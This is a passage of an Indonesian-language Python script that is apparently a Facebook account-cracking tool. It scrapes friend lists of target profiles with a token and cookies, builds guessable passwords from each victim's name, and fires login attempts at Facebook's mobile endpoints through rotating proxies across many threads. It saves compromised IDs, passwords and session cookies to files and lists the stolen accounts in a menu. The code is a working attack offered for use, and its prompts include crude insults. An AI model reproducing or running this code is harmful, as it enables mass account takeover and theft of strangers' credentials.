  488.         try:vin = os.listdir('OK')
  489.         except FileNotFoundError:
  490.             print(' [+] File Tidak Di Temukan ')
  491.             time.sleep(4)
  492.             back()
  493.         if len(vin)==0:
  494.             print(' [+] Anda Tidak Mempunyai File OK ')
  495.             time.sleep(4)
  496.             back()
  497.         else:
  498.             cih = 0
  499.             lol = {}
  500.             for isi in vin:
  501.                 try:hem = open('OK/'+isi,'r').readlines()
  502.                 except:continue
  503.                 cih+=1
  504.                 if cih<80:
  505.                     nom = '0'+str(cih)
  506.                     lol.update({str(cih):str(isi)})
  507.                     lol.update({nom:str(isi)})
  508.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  509.                 else:
  510.                     lol.update({str(cih):str(isi)})
  511.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  512.             geeh = input('\n [+] Pilih : ')
  513.             try:geh = lol[geeh]
  514.             except KeyError:
  515.                 print(' [+] Pilih Yang Bener Kontol ')
  516.                 exit()
  517.             try:lin = open('OK/'+geh,'r').read().splitlines()
  518.             except:
  519.                 print(' [+] File Tidak Di Temukan ')
  520.                 time.sleep(4)
  521.                 back()
  522.             nocp=0
  523.             for cpku in range(len(lin)):
  524.                 cpkuni=lin[nocp].split('|')
  525.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  526.                 sol().print(mark(cpkuh,style="green"))
  527.                 print(f'{hh}USER-AGENT : {x}{cpkuni[2]}')
  528.                 nocp +=1
  529.             input('[ Klik Enter ]')
  530.             back()
  531.     elif kz in ['3','03']:
  532.         back()
  533.     else:
  534.         print(' [+] Pilih Yang Bener Kontol ')
  535.         exit()
  536. #-------------------[ CRACK-PUBLIK-MASSAL]----------------#
  537. def crack_publik():
  538.     try:
  539.         token = open('.token.txt','r').read()
  540.         kukis = open('.cok.txt','r').read()
  541.     except IOError:
  542.         exit()
  543.     cetak(panel(f"""[bold white]   masukan id target, pastikan id target bersifat publik dan tidak private""",subtitle=f"[bold white]ketik [bold green]me[bold white] untuk dump dari teman sendiri",width=90,style=f"{color_panel}"))
  544.     pil = input(f' [+] Masukan ID Target : ')
  545.     try:
  546.         koH = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
  547.         for pi in koH['friends']['data']:
  548.             try:id.append(pi['id']+'|'+pi['name'])
  549.             except:continue
  550.         print(f' [+] Total ID Terkumpul : {m}'+str(len(id)))
  551.         setting()
  552.     except requests.exceptions.ConnectionError:
  553.         print(' [+] Internet Lu Gak Ada Anjing')
  554.         exit()
  555.     except (KeyError,IOError):
  556.         print(' [+] Pertemanan Tidak Publick Atau Cookie And Token Anda Busuk')
  557.         exit()
  558. #-------------------[ CRACK-PUBLIK ]----------------#
  559. def crack_massal():
  560.     try:
  561.         token = open('.token.txt','r').read()
  562.         cok = open('.cok.txt','r').read()
  563.     except IOError:
  564.         exit()
  565.     try:
  566.         cetak(panel(f"""[bold white]   masukan id target, pastikan id target bersifat publik dan tidak private""",subtitle=f"[bold white]ketik [bold green]me[bold white] untuk dump dari teman sendiri",width=90,style=f"{color_panel}"))
  567.         jum = int(input(f' [+] Mau Berapa Idz Target {x} : '))
  568.     except ValueError:
  569.         print(' [+] Wrong input ')
  570.         exit()
  571.     if jum<1 or jum>80:
  572.         print(f'{h} [+] {x}Pertemanan Tidak Publik  ')
  573.         exit()
  574.     ses=requests.Session()
  575.     yz = 0
  576.     for met in range(jum):
  577.         yz+=1
  578.         kl = input(f' [+] Masukan Idz Target Yang Ke '+str(yz)+' : ')
  579.         uid.append(kl)
  580.     for userr in uid:
  581.         try:
  582.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  583.             for mi in col['friends']['data']:
  584.                 try:
  585.                     iso = (mi['id']+'|'+mi['name'])
  586.                     if iso in id:pass
  587.                     else:id.append(iso)
  588.                 except:continue
  589.         except (KeyError,IOError):
  590.             pass
  591.         except requests.exceptions.ConnectionError:
  592.             print(' [+] Unstable Signal ')
  593.             exit()
  594.     try:
  595.         print(f' [+] Total ID Terkumpul{x} : {m}'+str(len(id)))
  596.         setting()
  597.     except requests.exceptions.ConnectionError:
  598.         print(f'{x}')
  599.         print(' [+] Unstable Signal ')
  600.         back()
  601.     except (KeyError,IOError):
  602.         print(f' [+] {k} Friendship Not Public {x}')
  603.         time.sleep(3)
  604.         back()
  605. #-------------[ PENGATURAN-IDZ ]---------------#
  606. def setting():
  607.     cuy = []
  608.     cuy.append(panel(f' [bold white][[bold green]1[bold white]]. Crack Idz Lama',width=25,title=f"",style=f"{color_panel}"))
  609.     cuy.append(panel(f' [bold white][[bold green]2[bold white]]. Crack Idz Baru',width=26,title=f"",style=f"{color_panel}"))
  610.     cuy.append(panel(f' [bold white][[bold green]3[bold white]]. Crack Idz Acak',width=27,title=f"",style=f"{color_panel}"))
  611.     wa.print(Columns(cuy))
  612.     hu = input(f' [+] Pilih Urutan Idz : ')
  613.     if hu in ['1','01']:
  614.         for tua in sorted(id):
  615.             id2.append(tua)
  616.  
  617.     elif hu in ['2','02']:
  618.         muda=[]
  619.         for bacot in sorted(id):
  620.             muda.append(bacot)
  621.         bcm=len(muda)
  622.         bcmi=(bcm-1)
  623.         for xmud in range(bcm):
  624.             id2.append(muda[bcmi])
  625.             bcmi -=1
  626.     elif hu in ['3','03']:
  627.         for bacot in id:
  628.             xx = random.randint(0,len(id2))
  629.             id2.insert(xx,bacot)
  630.     else:
  631.         print(' [+] Pilih Yang Bener Kontooll ')
  632.         exit()
  633.     cetak(panel(f'[bold white] [+] Apakah Anda Ingin Menampilkan Aplikasi Terkait ([bold yellow]Tidak Di Sarankan[bold white]) [bold green]y[bold white]/[bold red]n[bold white]',width=90,title=f"[bold red]•[bold yellow]•[bold green]•[bold green] Aplikasi Terkait [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
  634.     mangeak = input(' [+] Pilih : ')
  635.     if mangeak in ['']:
  636.         print(' [+] Pilih Yang Bener Kontol ')
  637.         exit()
  638.     elif mangeak in ['y','Y']:
  639.         taplikasi.append('ya')
  640.     else:
  641.         taplikasi.append('no')
  642.     urut = []
  643.     urut.append(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Login With [bold green]mobile.facebook.com[bold white] [/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Login With [bold green]mbasic.facebook.com[bold white] [/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Login With [bold green]free.facebook.com[bold white] ',width=39,title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Validate Method [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
  644.     urut.append(panel(f'[bold white][[bold green]04[/][bold white]][/] [bold white]Login With [bold green]mobile.facebook.com[bold white] [/]\n[bold white][[bold green]05[/][bold white]][/] [bold white]Login With [bold green]mbasic.facebook.com[bold white] [/]\n[bold white][[bold green]06[/][bold white]][/] [bold white]Login With [bold green]free.facebook.com[bold white]',width=40,title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Reguler Method [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
  645.     console.print(Columns(urut))
  646.     hc = input(f' [+] Pilih Metode : ')
  647.     if hc in ['1','01']:
  648.         method.append('validate1');metode = "Mobile Validate"
  649.     elif hc in ['2','02']:
  650.         method.append('validate2');metode = "Mbasic Validate"
  651.     elif hc in ['3','03']:
  652.         method.append('validate3');metode = "Free Validate"
  653.     elif hc in ['4','04']:
  654.         method.append('reguler1');metode = "Mobile Reguler"
  655.     elif hc in ['5','05']:
  656.         method.append('reguler2');metode = "Mabsic Reguler"
  657.     elif hc in ['6','06']:
  658.         method.append('reguler3');metode = "Free Reguler"
  659.     else:
  660.         method.append('validate1');metode = "Mobile Validate"
  661.     cetak(panel(f"""[bold white] Anda berhasil Menggunakan Metode [bold yellow]{metode}[bold white], Untuk Crack Account EPEP""",width=90,padding=(0,1),style=f"{color_panel}"))
  662.     ea = []
  663.     ea.append(panel(f' [bold white][[bold green]1[bold white]]. Pass Otomatis',width=25,title=f"",style=f"{color_panel}"))
  664.     ea.append(panel(f'  [bold white][[bold green]2[bold white]]. Pass Gabungan',width=26,title=f"",style=f"{color_panel}"))
  665.     ea.append(panel(f'   [bold white][[bold green]3[bold white]]. Pass Manual',width=27,title=f"",style=f"{color_panel}"))
  666.     wa.print(Columns(ea))
  667.     pwplus=input(f' [+] {P}Pilih Sandi : ')
  668.     if pwplus in ['03','3']:
  669.         pwpluss.append('ya')
  670.         pwku=input(f' [+] {P}Sandi : ')
  671.         pwkuh=pwku.split(',')
  672.         for xpw in pwkuh:
  673.             pwnya.append(xpw)
  674.     else:
  675.         pwpluss.append('no')
  676.    
  677.     cetak(panel(f'[bold white] [+] Apakah Anda Ingin Menggunakan User-Agent Manual ([bold yellow]Tidak Di Sarankan[bold white]) [bold green]y[bold white]/[bold red]n[bold white]',width=90,title=f"[bold red]•[bold yellow]•[bold green]•[bold green] Setting User-Agent [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
  678.     uatambah = input(f' [+] Pilih : ')
  679.     if uatambah in ['y','Ya','ya','Y']:
  680.         ualuh.append('ya')
  681.         bzer = input(f' [+] Masukan User-Agent : ')
  682.         ualu.append(bzer)
  683.     else:
  684.         ualuh.append('tidak')
  685.     passwrd()
  686. #-------------------[ BAGIAN-WORDLIST ]------------#
  687. def passwrd():
  688.     global prog,des
  689.     urut = []
  690.     urut.append(panel(f'        [bold green]%s [bold white]'%(okc),width=40,title=f"[bold green][bold red]•[bold yellow]•[bold green]• Result [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
  691.     urut.append(panel(f'         [bold yellow]%s [bold white]'%(cpc),width=39,title=f"[bold red]•[bold yellow]•[bold green]• [bold yellow]Result [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
  692.     wa.print(Columns(urut))
  693.     cetak(panel(f'\t[bold white] Mainkan Mode Pesawat Jika Tidak Ada Account Yang Masuk ! ! !',width=90,title=f"[bold green]Informasi",subtitle=f"[bold green]Proses Crack",style=f"{color_panel}"))
  694.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'),TimeElapsedColumn())
  695.     des = prog.add_task('',total=len(id2))
  696.     with prog:
  697.         with tred(max_workers=30) as pool:
  698.             for yuzong in id2:
  699.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  700.                 frs = nmf.split(' ')[0]
  701.                 pwv = []
  702.                 if len(nmf)<6:
  703.                     if len(frs)<3:
  704.                         pass
  705.                     else:
  706.                         pwv.append(nmf)
  707.                         pwv.append(frs+'01')
  708.                         pwv.append(frs+'02')
  709.                         pwv.append(frs+'03')
  710.                         pwv.append(frs+'04')
  711.                         pwv.append(frs+'05')
  712.                         pwv.append(frs+'12')
  713.                 else:
  714.                     if len(frs)<3:
  715.                         pwv.append(nmf)
  716.                     else:
  717.                         pwv.append(nmf)
  718.                         pwv.append(frs+'321')
  719.                         pwv.append(frs+'123')
  720.                         pwv.append(frs+'1234')
  721.                         pwv.append(frs+'12345')
  722.                         pwv.append(frs+'123456')
  723.                 if 'ya' in pwpluss:
  724.                     for xpwd in pwnya:
  725.                         pwv.append(xpwd)
  726.                 else:pass
  727.                 if 'validate1' in method:
  728.                     pool.submit(validate1,idf,pwv)
  729.                 elif 'validate2' in method:
  730.                     pool.submit(validate2,idf,pwv)
  731.                 elif 'validate3' in method:
  732.                     pool.submit(validate3,idf,pwv)
  733.                 elif 'reguler1' in method:
  734.                     pool.submit(reguler1,idf,pwv)
  735.                 elif 'reguler2' in method:
  736.                     pool.submit(reguler2,idf,pwv)
  737.                 elif 'reguler3' in method:
  738.                     pool.submit(reguler3,idf,pwv)
  739.                 else:
  740.                     pool.submit(validate1,idf,pwv)
  741.         print('')
  742.     print(f'  Crack Telah Selesai Sayang')
  743.     print(f'  [{h}•{x}]{h} OK : {h}%s '%(ok))
  744.     print(f'{x}  [{h}•{x}]{k} CP : {k}%s{x} '%(cp))
  745.  
  746. #--------------------[ METODE VALIDATE ]-----------------#
  747. def validate1(idf,pwv):
  748.     global loop,ok,cp
  749.     bo = random.choice([m,k,h,b,u,x])
  750.     ua = random.choice(ugen)
  751.     ua2 = random.choice(ugen2)
  752.     ses = requests.Session()
  753.     prog.update(des,description=f"{h}Mobile{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  754.     prog.advance(des)
  755.     for pw in pwv:
  756.         try:
  757.             if 'ya' in ualuh: ua = ualu[0]
  758.             nip=random.choice(prox)
  759.             proxs= {'http': 'socks4://'+nip}
  760.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  761.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D113289095462482%26scope%3Demail%252Cpublic_profile%26redirect_uri%3Dhttps%253A%252F%252Fzoom.us%252Ffacebook%252Foauth%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%26_x_zm_rtaid%3DcVJiy3uGSbSvWr-DDSZNng.1679058723947.4bc348f596f10457902323ef31509d67%26_x_zm_rhtaid%3D542%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D516d7f95-093f-4513-847e-788f90c4cbd5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fzoom.us%2Ffacebook%2Foauth%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  762.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/login.php?skip_api_login=1&api_key=113289095462482&kid_directed_site=0&app_id=113289095462482&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D113289095462482%26scope%3Demail%252Cpublic_profile%26redirect_uri%3Dhttps%253A%252F%252Fzoom.us%252Ffacebook%252Foauth%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%26_x_zm_rtaid%3DcVJiy3uGSbSvWr-DDSZNng.1679058723947.4bc348f596f10457902323ef31509d67%26_x_zm_rhtaid%3D542%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D516d7f95-093f-4513-847e-788f90c4cbd5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fzoom.us%2Ffacebook%2Foauth%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
  763.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  764.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  765.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D113289095462482%26scope%3Demail%252Cpublic_profile%26redirect_uri%3Dhttps%253A%252F%252Fzoom.us%252Ffacebook%252Foauth%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%26_x_zm_rtaid%3DcVJiy3uGSbSvWr-DDSZNng.1679058723947.4bc348f596f10457902323ef31509d67%26_x_zm_rhtaid%3D542%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D516d7f95-093f-4513-847e-788f90c4cbd5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fzoom.us%2Ffacebook%2Foauth%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  766.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  767.             if "checkpoint" in po.cookies.get_dict().keys():
  768.                     cp+=1
  769.                     tree = Tree(Panel.fit(f"""[bold yellow]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  770.                     tree.add(Panel(f"[bold yellow]{ua}[bold white]",style=f"{color_panel}"))
  771.                     prints(tree)
  772.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  773.                     akun.append(idf+'|'+pw)
  774.                     break
  775.             elif "c_user" in ses.cookies.get_dict().keys():
  776.                 if 'no' in taplikasi:
  777.                     ok+=1
  778.                     coki=po.cookies.get_dict()
  779.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  780.                     tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  781.                     tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
  782.                     prints(tree)
  783.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  784.                     break
  785.                 elif 'ya' in taplikasi:
  786.                     ok+=1
  787.                     coki=po.cookies.get_dict()
  788.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  789.                     tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  790.                     tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
  791.                     prints(tree)
  792.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  793.                     cek_apk(kuki)
  794.                     break      
  795.                
  796.             else:
  797.                 continue
  798.         except requests.exceptions.ConnectionError:
  799.             time.sleep(31)
  800.     loop+=1
  801.  
  802. def validate2(idf,pwv):
  803.     global loop,ok,cp
  804.     bo = random.choice([m,k,h,b,u,x])
  805.     ua = random.choice(ugen)
  806.     ua2 = random.choice(ugen2)
  807.     ses = requests.Session()
  808.     prog.update(des,description=f"{h}Mbasic{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  809.     prog.advance(des)
  810.     for pw in pwv:
  811.         try:
  812.             if 'ya' in ualuh: ua = ualu[0]
  813.             nip=random.choice(prox)
  814.             proxs= {'http': 'socks5://'+nip}
  815.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  816.             p = ses.get('https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  817.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=847163265704696&kid_directed_site=0&app_id=847163265704696&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv3.0%2Fdialog%2Foauth%3Fapp_id%3D847163265704696%26auth_type%3Dreauthenticate%26cbt%3D1674928653775%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df17636995ac9aec%2526domain%253Dpointblank.id%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fpointblank.id%25252Ff16a2a2e946bba%2526relation%253Dopener%26client_id%3D847163265704696%26display%3Dtouch%26domain%3Dpointblank.id%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fpointblank.id%252Flogin%252Fform%26locale%3Did_ID%26logger_id%3Df2322edaf71d6e4%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df255f84c0ecb374%2526domain%253Dpointblank.id%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fpointblank.id%25252Ff16a2a2e946bba%2526relation%253Dopener%2526frame%253Df15985874805d6%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26scope%3Demail%252Cpublic_profile%26sdk%3Djoey%26version%3Dv3.0%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df255f84c0ecb374%26domain%3Dpointblank.id%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fpointblank.id%252Ff16a2a2e946bba%26relation%3Dopener%26frame%3Df15985874805d6%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
  818.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  819.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  820.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://mbasic.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  821.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  822.             if "checkpoint" in po.cookies.get_dict().keys():
  823.                     cp+=1
  824.                     tree = Tree(Panel.fit(f"""[bold yellow]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  825.                     tree.add(Panel(f"[bold yellow]{ua}[bold white]",style=f"{color_panel}"))
  826.                     prints(tree)
  827.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  828.                     akun.append(idf+'|'+pw)
  829.                     break
  830.             elif "c_user" in ses.cookies.get_dict().keys():
  831.                 if 'no' in taplikasi:
  832.                     ok+=1
  833.                     coki=po.cookies.get_dict()
  834.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  835.                     tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  836.                     tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
  837.                     prints(tree)
  838.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  839.                     break
  840.                 elif 'ya' in taplikasi:
  841.                     ok+=1
  842.                     coki=po.cookies.get_dict()
  843.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  844.                     tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
  845.                     tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
  846.                     prints(tree)
  847.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  848.                     cek_apk(kuki)
  849.                     break
  850.                
  851.             else:
  852.                 continue
  853.         except requests.exceptions.ConnectionError:
  854.             time.sleep(31)
  855.     loop+=1
  856.  
  857. def validate3(idf,pwv):
  858.     global loop,ok,cp
  859.     bo = random.choice([m,k,h,b,u,x])
  860.     ua = random.choice(ugen)
  861.     ua2 = random.choice(ugen2)
  862.     ses = requests.Session()
  863.     prog.update(des,description=f"{h}Free{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  864.     prog.advance(des)
  865.     for pw in pwv:
  866.         try:
  867.             if 'ya' in ualuh: ua = ualu[0]
  868.             nip=random.choice(prox)
  869.             proxs= {'http': 'socks5://'+nip}
  870.             ses.headers.update({'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua2,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
